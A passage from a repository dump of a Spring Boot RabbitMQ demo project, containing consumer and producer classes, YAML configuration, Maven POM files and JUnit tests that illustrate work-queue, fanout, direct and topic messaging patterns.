    "content": "package com.example.topic;\n\nimport org.springframework.amqp.core.ExchangeTypes;\nimport org.springframework.amqp.rabbit.annotation.Exchange;\nimport org.springframework.amqp.rabbit.annotation.Queue;\nimport org.springframework.amqp.rabbit.annotation.QueueBinding;\nimport org.springframework.amqp.rabbit.annotation.RabbitListener;\nimport org.springframework.stereotype.Component;\n\n/**\n * <p>\n * topic  通配符/主题模式-交换机和队列进行绑定，并且通配符方式routing key，当发送消息到交换机后，交换机会根据routing key将消息发送到对应的队列\n * 符合路由（routing key，通配符）的消费者收到\n * </p>\n *\n * @author MrWen\n **/\n@Component\npublic class ErrorLogConsumer {\n\n    /**\n     * 消息监听方法\n     * bindings: 完成队列与交换机的绑定\n     * Queue: 队列属性\n     * exchange：交换机属性\n     * key：路由key,通配符\n     */\n    @RabbitListener(bindings = @QueueBinding(\n            value = @Queue(name = \"${topic.error.queue}\", durable = \"true\"),// 队列\n            exchange = @Exchange(name = \"${topic.exchange}\", type = ExchangeTypes.TOPIC),// 交换机\n            key = {\"*.log.error\"}// 路由key,通配符\n    ))\n    public void handlerMessage(String msg) {\n        System.out.println(\"log.error--->接受到的消息是：\" + msg);\n        try {\n            Thread.sleep(5000);\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rabbitmq/spring-boot-rabbitmq/consumer/src/main/java/com/example/topic/FullLogConsumer.java",
    "content": "package com.example.topic;\n\nimport org.springframework.amqp.core.ExchangeTypes;\nimport org.springframework.amqp.rabbit.annotation.Exchange;\nimport org.springframework.amqp.rabbit.annotation.Queue;\nimport org.springframework.amqp.rabbit.annotation.QueueBinding;\nimport org.springframework.amqp.rabbit.annotation.RabbitListener;\nimport org.springframework.stereotype.Component;\n\n/**\n * <p>\n * topic  通配符/主题模式-交换机和队列进行绑定，并且通配符方式routing key，当发送消息到交换机后，交换机会根据routing key将消息发送到对应的队列\n * 符合路由（routing key，通配符）的消费者收到\n * </p>\n *\n * @author MrWen\n **/\n@Component\npublic class FullLogConsumer {\n\n    /**\n     * 消息监听方法\n     * bindings: 完成队列与交换机的绑定\n     * Queue: 队列属性\n     * exchange：交换机属性\n     * key：路由key,通配符\n     */\n    @RabbitListener(bindings = @QueueBinding(\n            value = @Queue(name = \"${topic.full.queue}\", durable = \"true\"),// 队列\n            exchange = @Exchange(name = \"${topic.exchange}\", type = ExchangeTypes.TOPIC),// 交换机\n            key = {\"#\"}// 路由key,通配符\n    ))\n    public void handlerMessage(String msg) {\n        System.out.println(\"log.full--->接受到的消息是：\" + msg);\n        try {\n            Thread.sleep(5000);\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rabbitmq/spring-boot-rabbitmq/consumer/src/main/java/com/example/topic/InfoLogConsumer.java",
    "content": "package com.example.topic;\n\nimport org.springframework.amqp.core.ExchangeTypes;\nimport org.springframework.amqp.rabbit.annotation.Exchange;\nimport org.springframework.amqp.rabbit.annotation.Queue;\nimport org.springframework.amqp.rabbit.annotation.QueueBinding;\nimport org.springframework.amqp.rabbit.annotation.RabbitListener;\nimport org.springframework.stereotype.Component;\n\n/**\n * <p>\n * topic  通配符/主题模式-交换机和队列进行绑定，并且通配符方式routing key，当发送消息到交换机后，交换机会根据routing key将消息发送到对应的队列\n * 符合路由（routing key，通配符）的消费者收到\n * </p>\n *\n * @author MrWen\n **/\n@Component\npublic class InfoLogConsumer {\n\n    /**\n     * 消息监听方法\n     * bindings: 完成队列与交换机的绑定\n     * Queue: 队列属性\n     * exchange：交换机属性\n     * key：路由key,通配符\n     */\n    @RabbitListener(bindings = @QueueBinding(\n            value = @Queue(name = \"${topic.info.queue}\", durable = \"true\"),// 队列\n            exchange = @Exchange(name = \"${topic.exchange}\", type = ExchangeTypes.TOPIC),// 交换机\n            key = {\"*.log.info\"}// 路由key,通配符\n    ))\n    public void handlerMessage(String msg) {\n        System.out.println(\"log.info--->接受到的消息是：\" + msg);\n        try {\n            Thread.sleep(5000);\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rabbitmq/spring-boot-rabbitmq/consumer/src/main/java/com/example/work/Consumer1.java",
    "content": "package com.example.work;\n\nimport org.springframework.amqp.rabbit.annotation.Queue;\nimport org.springframework.amqp.rabbit.annotation.RabbitListener;\nimport org.springframework.stereotype.Component;\n\n/**\n * <p>\n * work工作队列模式的消费者-只有一个消费者能接收到消息(竞争的消费者模式)\n * </p>\n *\n * @author MrWen\n **/\n@Component\npublic class Consumer1 {\n\n    /**\n     * 消息监听方法\n     * queuesToDeclare: 声明队列\n     * durable: 是否为持久化队列\n     */\n    @RabbitListener(queuesToDeclare = @Queue(name = \"work-queue\", durable = \"true\"))\n    public void handlerMessage(String msg) {\n        System.out.println(\"=====消费者1: \" + msg);\n        try {\n            Thread.sleep(5000);\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n        //模拟消费失败，触发重试\n//        int i = 1 / 0;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rabbitmq/spring-boot-rabbitmq/consumer/src/main/java/com/example/work/Consumer2.java",
    "content": "package com.example.work;\n\nimport org.springframework.amqp.rabbit.annotation.Queue;\nimport org.springframework.amqp.rabbit.annotation.RabbitListener;\nimport org.springframework.stereotype.Component;\n\n/**\n * <p>\n * work工作队列模式的消费者-只有一个消费者能接收到消息(竞争的消费者模式)\n * </p>\n *\n * @author MrWen\n **/\n@Component\npublic class Consumer2 {\n\n    /**\n     * 消息监听方法\n     * queuesToDeclare: 声明队列\n     * durable: 是否为持久化队列\n     */\n    @RabbitListener(queuesToDeclare = @Queue(name = \"work-queue\", durable = \"true\"))\n    public void handlerMessage(String msg) {\n        System.out.println(\"=====消费者2: \" + msg);\n        try {\n            Thread.sleep(5000);\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n        //模拟消费失败，触发重试\n//        int i = 1 / 0;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rabbitmq/spring-boot-rabbitmq/consumer/src/main/resources/application.yml",
    "content": "# 配置tomcat端口号\nserver:\n  port: 9003\n\n# 配置rabbitmq\nspring:\n  rabbitmq:\n    host: 127.0.0.1          # rabbitMQ的ip地址\n    #addresses: 192.168.150.101:8071, 192.168.150.101:8072, 192.168.150.101:8073  #集群地址\n    port: 5672               # 端口\n    username: guest          # 账号\n    password: guest          #密码\n    virtual-host: /          #虚拟机\n    #publisher-confirms: true # 开启消息发送确认机制,低版本(一般在生产端，消费端加上也没关系)\n    publisher-confirm-type: correlated # 开启消息发送确认机制(一般在生产端，消费端加上也没关系)\n    listener:\n      simple:\n        # 并发消费：每个侦听器线程的最小数量，具体数值根据系统性能配置（一般为系统cpu核数）\n        concurrency: 2\n        # 并发消费：每个侦听器线程的最大数量，具体数值根据系统性能配置（一般为系统cpu核数*2）\n        max-concurrency: 4\n        # 每次只能获取一条消息，处理完成才能获取下一个消息,避免照成消息堆积在一个消费线程上\n        prefetch: 1\n        #acknowledge-mode: manual         # 消费者开启手动ack消息确认，需要测试请看示例请AckConsumer,所有队列都会生效\n        #default-requeue-rejected: false  # 设置为false，会重发消息到死信队列（防止手动ack确认失败的消息堆积），需要测试请示例AckConsumer,所有队列都会生效\n        retry:\n          enabled: true                   # 解决消息死循环问题-启用重试\n          max-attempts: 3                 # 最大重试3次(默认)，超过就丢失（或放到死信队列中，防止消息堆积）\n          multiplier: 2                   # 乘子\n          initial-interval: 3000          # 第一次和第二次之间的重试间隔，后面的用乘子计算 3s 6s 12s\n          max-interval: 16000             # 最大重试时间间隔16s\n\n\n# ==================================其实下面用常量配置更好，统一管理，这里只是作为配置文件的演示==================================\n# 发布与订阅模式\nfanout:\n  # 交换机\n  exchange: fanout-exchange\n  # 队列名称\n  sms:\n    queue: fanout-sms-queue\n  weixin:\n    queue: fanout-weixin-queue\n\n# 路由模式\ndirect:\n  # 交换机\n  exchange: direct-exchange\n  # 队列名称\n  info:\n    queue: direct-info-queue\n  error:\n    queue: direct-error-queue\n  all:\n    queue: direct-all-queue\n\n\n# 主题模式\ntopic:\n  # 交换机\n  exchange: topic-exchange\n  # 配置队列名称\n  info:\n    queue: topic-info-queue\n  error:\n    queue: topic-error-queue\n  full:\n    queue: topic-full-queue\n\n\n\n# 主题模式下的ack确认+死信队列\ntopicAck:\n  # 交换机\n  exchange: topicAck-exchange\n  # 配置队列名称\n  ack:\n    queue: topicAck-ack-queue\n# 死信队列\ndead:\n  # 交换机\n  exchange: dead-exchange\n  # 配置队列名称\n  queue: dead-queue\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rabbitmq/spring-boot-rabbitmq/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <parent>\n        <artifactId>spring-boot-demo</artifactId>\n        <groupId>com.example</groupId>\n        <version>1.0-SNAPSHOT</version>\n        <relativePath>../../pom.xml</relativePath>\n    </parent>\n    <modelVersion>4.0.0</modelVersion>\n\n    <artifactId>spring-boot-rabbitmq</artifactId>\n\n    <properties>\n        <maven.compiler.source>11</maven.compiler.source>\n        <maven.compiler.target>11</maven.compiler.target>\n    </properties>\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rabbitmq/spring-boot-rabbitmq/producer/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.3.2.RELEASE</version>\n        <relativePath/>\n    </parent>\n    <modelVersion>4.0.0</modelVersion>\n\n    <artifactId>producer</artifactId>\n\n    <properties>\n        <maven.compiler.source>11</maven.compiler.source>\n        <maven.compiler.target>11</maven.compiler.target>\n        <spring-boot-version>2.3.2.RELEASE</spring-boot-version>\n    </properties>\n\n    <dependencies>\n        <!-- 配置web启动器 -->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n        <!-- 配置amqp，即rabbitmq -->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-amqp</artifactId>\n        </dependency>\n\n        <!-- 测试 -->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n        </dependency>\n\n        <!-- lombok插件 -->\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <optional>true</optional>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n                <version>${spring-boot-version}</version>\n            </plugin>\n        </plugins>\n    </build>\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rabbitmq/spring-boot-rabbitmq/producer/src/main/java/com/example/RabbitMQProducerApplication.java",
    "content": "package com.example;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n/**\n * <p>\n * 启动类\n * </p>\n *\n * @author MrWen\n */\n@SpringBootApplication\npublic class RabbitMQProducerApplication {\n\n    public static void main(String[] args) {\n        SpringApplication.run(RabbitMQProducerApplication.class);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rabbitmq/spring-boot-rabbitmq/producer/src/main/java/com/example/config/ProducerAckConfirmCallback.java",
    "content": "package com.example.config;\n\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.amqp.rabbit.connection.CorrelationData;\nimport org.springframework.amqp.rabbit.core.RabbitTemplate;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Component;\n\nimport javax.annotation.PostConstruct;\n\n/**\n * <p>\n * 定义生产者确认回调对象\n * 需要配置spring.rabbitmq.publisher-confirms=true  低版本\n * 或spring.rabbitmq.publisher-confirm-type=correlated 高版本\n * 每个RabbitTemplate只支持一个ConfirmCallback\n * </p>\n *\n * @author MrWen\n **/\n@Slf4j\n@Component\npublic class ProducerAckConfirmCallback implements RabbitTemplate.ConfirmCallback {\n\n    @Autowired\n    private RabbitTemplate rabbitTemplate;\n\n    @PostConstruct\n    private void init() {\n        //设置生产者确认回调对象\n        rabbitTemplate.setConfirmCallback(this);\n    }\n\n\n    /**\n     * 发送ack确认回调\n     *\n     * @param correlationData 这里获取唯一id\n     * @param ack             是否确认收到(true已确认收到，false未确认收到)\n     * @param cause           失败原因\n     */\n    @Override\n    public void confirm(CorrelationData correlationData, boolean ack, String cause) {\n        //有些没有设置发送应答ack的，不需要走后续的逻辑\n        if (correlationData == null) {\n            return;\n        }\n        // 确认方法\n        log.info(\"是否确认发送成功ack = {}  失败原因cause={}\", ack, cause);\n        // 如果为true，代表mq已成功接收消息\n        if (ack) {\n            // 从Redis数据中删除消息\n            log.info(\"消息确认发送成功：correlationDataId = {}\", correlationData.getId());\n        } else {\n            // 如果为false，代表mq没有接收到消息(消息生产失败)\n            // 业务处理\n            log.error(\"消息确认发送失败：correlationDataId = {}\", correlationData.getId());\n        }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rabbitmq/spring-boot-rabbitmq/producer/src/main/java/com/example/service/RabbitMQService.java",
    "content": "package com.example.service;\n\n/**\n * <p>\n * RabbitMQ生产端常用方法整合\n * </p>\n *\n * @author MrWen\n **/\npublic interface RabbitMQService {\n\n    /**\n     * 发送队列模式消息(工作模式)\n     *\n     * @param queue 队列名称\n     * @param msg   消息内容(所有发送MQ的消息，需要序列化，下面不再叙述)\n     */\n    void sendMessageByWork(String queue, Object msg);\n\n    /**\n     * 发送队列模式消息(工作模式)\n     *\n     * @param queue 队列名称\n     * @param msg   消息内容(所有发送MQ的消息，需要序列化，下面不再叙述)\n     * @param ackId 开启消息发送确认机制，应答ackId，建议根据业务确认唯一值。配置参考{@link com.example.config.ProducerAckConfirmCallback}\n     *              (需要配置spring.rabbitmq.publisher-confirms=true)：低版本\n     *              或(spring.rabbitmq.publisher-confirm-type=correlated):高版本\n     */\n    void sendMessageByWork(String queue, Object msg, String ackId);\n\n    /**\n     * 发送队列模式消息（发布与订阅模式，路由，主题模式模式，主要看消费者）\n     *\n     * @param exchange   交换机\n     * @param routingKey 路由key，为空则是 发布与订阅模式（还是看消费者）\n     * @param msg        消息内容(所有发送MQ的消息，需要序列化，下面不再叙述)\n     */\n    void sendMessageByExchange(String exchange, String routingKey, Object msg);\n\n    /**\n     * 发送队列模式消息（发布与订阅模式，路由，主题模式模式，主要看消费者）\n     *\n     * @param exchange   交换机\n     * @param routingKey 路由key，为空则是 发布与订阅模式（还是看消费者）\n     * @param msg        消息内容(所有发送MQ的消息，需要序列化，下面不再叙述)\n     * @param ackId      开启消息发送确认机制，应答ackId，建议根据业务确认唯一值。配置参考{@link com.example.config.ProducerAckConfirmCallback}\n     *                   (需要配置spring.rabbitmq.publisher-confirms=true)：低版本\n     *                   或(spring.rabbitmq.publisher-confirm-type=correlated):高版本\n     */\n    void sendMessageByExchange(String exchange, String routingKey, Object msg, String ackId);\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rabbitmq/spring-boot-rabbitmq/producer/src/main/java/com/example/service/impl/RabbitMQServiceImpl.java",
    "content": "package com.example.service.impl;\n\nimport com.example.service.RabbitMQService;\nimport org.springframework.amqp.rabbit.connection.CorrelationData;\nimport org.springframework.amqp.rabbit.core.RabbitTemplate;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Service;\n\n/**\n * <p>\n * RabbitMQ生产端常用方法整合\n * </p>\n *\n * @author MrWen\n **/\n@Service\npublic class RabbitMQServiceImpl implements RabbitMQService {\n\n    @Autowired\n    private RabbitTemplate rabbitTemplate;\n\n    @Override\n    public void sendMessageByWork(String queue, Object msg) {\n        rabbitTemplate.convertAndSend(\"\", queue, msg);\n    }\n\n    @Override\n    public void sendMessageByWork(String queue, Object msg, String ackId) {\n        rabbitTemplate.convertAndSend(\"\", queue, msg, new CorrelationData(ackId));\n    }\n\n    @Override\n    public void sendMessageByExchange(String exchange, String routingKey, Object msg) {\n        rabbitTemplate.convertAndSend(exchange, routingKey == null ? \"\" : routingKey, msg);\n    }\n\n    @Override\n    public void sendMessageByExchange(String exchange, String routingKey, Object msg, String ackId) {\n        rabbitTemplate.convertAndSend(exchange, routingKey == null ? \"\" : routingKey, msg, new CorrelationData(ackId));\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rabbitmq/spring-boot-rabbitmq/producer/src/main/resources/application.yml",
    "content": "# 配置tomcat端口号\nserver:\n  port: 9002\n\n# 配置rabbitmq\nspring:\n  rabbitmq:\n    host: 127.0.0.1   #mq地址\n    port: 5672        #端口\n    username: guest   #登录账号\n    password: guest   #登录密码\n    virtual-host: /   #虚拟机\n    #publisher-confirms: true # 开启消息发送确认机制,低版本\n    publisher-confirm-type: correlated # 开启消息发送确认机制\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rabbitmq/spring-boot-rabbitmq/producer/src/test/java/com/example/ProducerTest.java",
    "content": "package com.example;\n\nimport com.example.service.RabbitMQService;\nimport lombok.extern.slf4j.Slf4j;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\n/**\n * <p>\n * 生产者\n * </p>\n *\n * @author MrWen\n */\n@Slf4j\n@RunWith(SpringRunner.class)\n@SpringBootTest(classes = RabbitMQProducerApplication.class)\npublic class ProducerTest {\n    @Autowired\n    private RabbitMQService rabbitMQService;\n\n\n    /*\n    发送消息时候，需要创建对应的队列和交换机\n    可以手动在MQ控制台创建\n    可以直接启动消费端即可\n     */\n\n    /**\n     * 工作队列模式\n     * 只有一个消费者能接收到消息(竞争的消费者模式)\n     */\n    @Test\n    public void sendWord() {\n        for (int i = 0; i < 50; i++) {\n            rabbitMQService.sendMessageByWork(\"work-queue\", \"工作队列模式的消息！\" + i);\n        }\n    }\n\n    /**\n     * 工作队列模式,演示发送应答ack，其它模式也一样\n     */\n    @Test\n    public void sendWordAndAck() {\n        for (int i = 0; i < 50; i++) {\n            rabbitMQService.sendMessageByWork(\"work-queue\", \"工作队列模式的消息！\" + i, \"工作模式ackId\" + i);\n        }\n    }\n\n\n    /**\n     * 发布与订阅模式-生产者通过交换机,同时向多个消费者发送消息\n     * 所有消费者都能收到消息\n     */\n    @Test\n    public void sendFanout() {\n        for (int i = 0; i < 50; i++) {\n            rabbitMQService.sendMessageByExchange(\"fanout-exchange\", null, \"发布与订阅模式的消息！\" + i);\n        }\n    }\n\n\n    /**\n     * 路由模式-交换机和队列进行绑定，并且指定routing key，当发送消息到交换机后，交换机会根据routing key将消息发送到对应的队列\n     * 符合路由（routing key，固定）的消费者收到\n     */\n    @Test\n    public void sendDirect() {\n        for (int i = 0; i < 50; i++) {\n            String routingKey = i % 2 == 0 ? \"error\" : \"info\";\n            rabbitMQService.sendMessageByExchange(\"direct-exchange\", routingKey, \"路由模式的消息，路由routingKey=\" + routingKey + \"  i=\" + i);\n        }\n    }\n\n    /**\n     * 主题模式-通配符/主题模式-交换机和队列进行绑定，并且通配符方式routing key，当发送消息到交换机后，交换机会根据routing key将消息发送到对应的队列\n     * 符合路由（routing key，通配符）的消费者收到\n     */\n    @Test\n    public void sendTopic() {\n        for (int i = 0; i < 50; i++) {\n            String routingKey = i % 2 == 0 ? \"topic.log.info\" : \"topic.log.error\";\n            rabbitMQService.sendMessageByExchange(\"topic-exchange\", routingKey, \"主题模式的消息，路由routingKey=\" + routingKey + \"  i=\" + i);\n        }\n    }\n\n    /**\n     * 主题模式-测试消费端的ack\n     * 消费端需要配置 spring.rabbitmq.listener.acknowledge-mode=manual  消费者开启手动ack消息确认,所有队列都会生效\n     * 消费端需要配置 spring.rabbitmq.listener.default-requeue-rejected=false  设置为false，会重发消息到死信队列,所有队列都会生效\n     */\n    @Test\n    public void sendTopicByConsumerAck() {\n        //消费端最大消息堆积是3，这里发10条会有几条瞬间被扔到死信队列中，剩下的消费失败被拒绝确认后，才会扔到死信队列中\n        //当然，也可以设置为3，测试消费失败被拒绝确认，扔到死信队列中的情景\n        for (int i = 0; i < 10; i++) {\n            String routingKey = i % 2 == 0 ? \"topicAck.log.info\" : \"topicAck.log.error\";\n            rabbitMQService.sendMessageByExchange(\"topicAck-exchange\", routingKey, \"主题模式-测试消费端的ack，路由routingKey=\" + routingKey + \"  i=\" + i);\n        }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rabbitmq/spring-boot-rabbitmq-simple/consumer-simple/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.3.2.RELEASE</version>\n        <relativePath/>\n    </parent>\n    <modelVersion>4.0.0</modelVersion>\n\n    <artifactId>consumer-simple</artifactId>\n\n    <properties>\n        <maven.compiler.source>11</maven.compiler.source>\n        <maven.compiler.target>11</maven.compiler.target>\n        <spring-boot-version>2.3.2.RELEASE</spring-boot-version>\n    </properties>\n\n    <dependencies>\n        <!-- 配置web启动器 -->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n        <!-- 配置amqp，即rabbitmq -->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-amqp</artifactId>\n        </dependency>\n\n        <!-- 测试 -->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n        </dependency>\n\n        <!-- lombok插件 -->\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <optional>true</optional>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n                <version>${spring-boot-version}</version>\n            </plugin>\n        </plugins>\n    </build>\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rabbitmq/spring-boot-rabbitmq-simple/consumer-simple/src/main/java/com/example/RabbitMQSimpleConsumerApplication.java",
    "content": "package com.example;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n/**\n * <p>\n * 启动类\n * </p>\n *\n * @author MrWen\n */\n@SpringBootApplication\npublic class RabbitMQSimpleConsumerApplication {\n\n    public static void main(String[] args) {\n        SpringApplication.run(RabbitMQSimpleConsumerApplication.class);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rabbitmq/spring-boot-rabbitmq-simple/consumer-simple/src/main/java/com/example/consumer/Consumer.java",
    "content": "package com.example.consumer;\n\nimport org.springframework.amqp.rabbit.annotation.Queue;\nimport org.springframework.amqp.rabbit.annotation.RabbitListener;\nimport org.springframework.stereotype.Component;\n\n/**\n * <p>\n * 消费着\n * </p>\n *\n * @author MrWen\n */\n@Component\npublic class Consumer {\n\n    /**\n     * 消息监听方法\n     * queuesToDeclare: 声明队列\n     * durable: 是否为持久化队列\n     */\n    @RabbitListener(queuesToDeclare = @Queue(name = \"work-queue\", durable = \"true\"))\n    public void handlerMessage(String msg) {\n        System.out.println(\"=====消费者===: \" + msg);\n        try {\n            Thread.sleep(5000);\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rabbitmq/spring-boot-rabbitmq-simple/consumer-simple/src/main/resources/application.yml",
    "content": "# 配置tomcat端口号\nserver:\n  port: 9000\n\n# 配置rabbitmq\nspring:\n  rabbitmq:\n    host: 127.0.0.1   #mq地址\n    port: 5672        #端口\n    username: guest   #登录账号\n    password: guest   #登录密码\n    virtual-host: /   #虚拟机\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rabbitmq/spring-boot-rabbitmq-simple/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <parent>\n        <artifactId>spring-boot-demo</artifactId>\n        <groupId>com.example</groupId>\n        <version>1.0-SNAPSHOT</version>\n        <relativePath>../../pom.xml</relativePath>\n    </parent>\n    <modelVersion>4.0.0</modelVersion>\n\n    <artifactId>spring-boot-rabbitmq-simple</artifactId>\n\n    <properties>\n        <maven.compiler.source>11</maven.compiler.source>\n        <maven.compiler.target>11</maven.compiler.target>\n    </properties>\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rabbitmq/spring-boot-rabbitmq-simple/producer-simple/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.3.2.RELEASE</version>\n        <relativePath/>\n    </parent>\n\n    <modelVersion>4.0.0</modelVersion>\n\n    <artifactId>producer-simple</artifactId>\n\n    <properties>\n        <maven.compiler.source>11</maven.compiler.source>\n        <maven.compiler.target>11</maven.compiler.target>\n        <spring-boot-version>2.3.2.RELEASE</spring-boot-version>\n    </properties>\n\n    <dependencies>\n        <!-- 配置web启动器 -->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n        <!-- 配置amqp，即rabbitmq -->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-amqp</artifactId>\n        </dependency>\n\n        <!-- 测试 -->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n        </dependency>\n\n        <!-- lombok插件 -->\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <optional>true</optional>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n                <version>${spring-boot-version}</version>\n            </plugin>\n        </plugins>\n    </build>\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rabbitmq/spring-boot-rabbitmq-simple/producer-simple/src/main/java/com/example/RabbitMQSimpleProducerApplication.java",
    "content": "package com.example;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n/**\n * <p>\n * 启动类\n * </p>\n *\n * @author MrWen\n */\n@SpringBootApplication\npublic class RabbitMQSimpleProducerApplication {\n\n    public static void main(String[] args) {\n        SpringApplication.run(RabbitMQSimpleProducerApplication.class);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rabbitmq/spring-boot-rabbitmq-simple/producer-simple/src/main/resources/application.yml",
    "content": "# 配置tomcat端口号\nserver:\n  port: 9001\n\n# 配置rabbitmq\nspring:\n  rabbitmq:\n    host: 127.0.0.1   #mq地址\n    port: 5672        #端口\n    username: guest   #登录账号\n    password: guest   #登录密码\n    virtual-host: /   #虚拟机\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rabbitmq/spring-boot-rabbitmq-simple/producer-simple/src/test/java/com/example/ProducerSimpleTest.java",
    "content": "package com.example;\n\nimport lombok.extern.slf4j.Slf4j;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.amqp.rabbit.core.RabbitTemplate;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\n/**\n * <p>\n * 生产者\n * </p>\n *\n * @author MrWen\n */\n@Slf4j\n@RunWith(SpringRunner.class)\n@SpringBootTest(classes = RabbitMQSimpleProducerApplication.class)\npublic class ProducerSimpleTest {\n    @Autowired\n    private RabbitTemplate rabbitTemplate;\n\n    @Test\n    public void sendMessage() {\n        for (int i = 0; i < 10; i++) {\n            /**\n             * String exchange: 交换机\n             * String routingKey: 路由key(队列名称)\n             * Object message: 消息内容\n             */\n            rabbitTemplate.convertAndSend(\"\", \"work-queue\", \"工作队列模式的消息！\" + i);\n        }\n    }\n}\n"
  },
  {
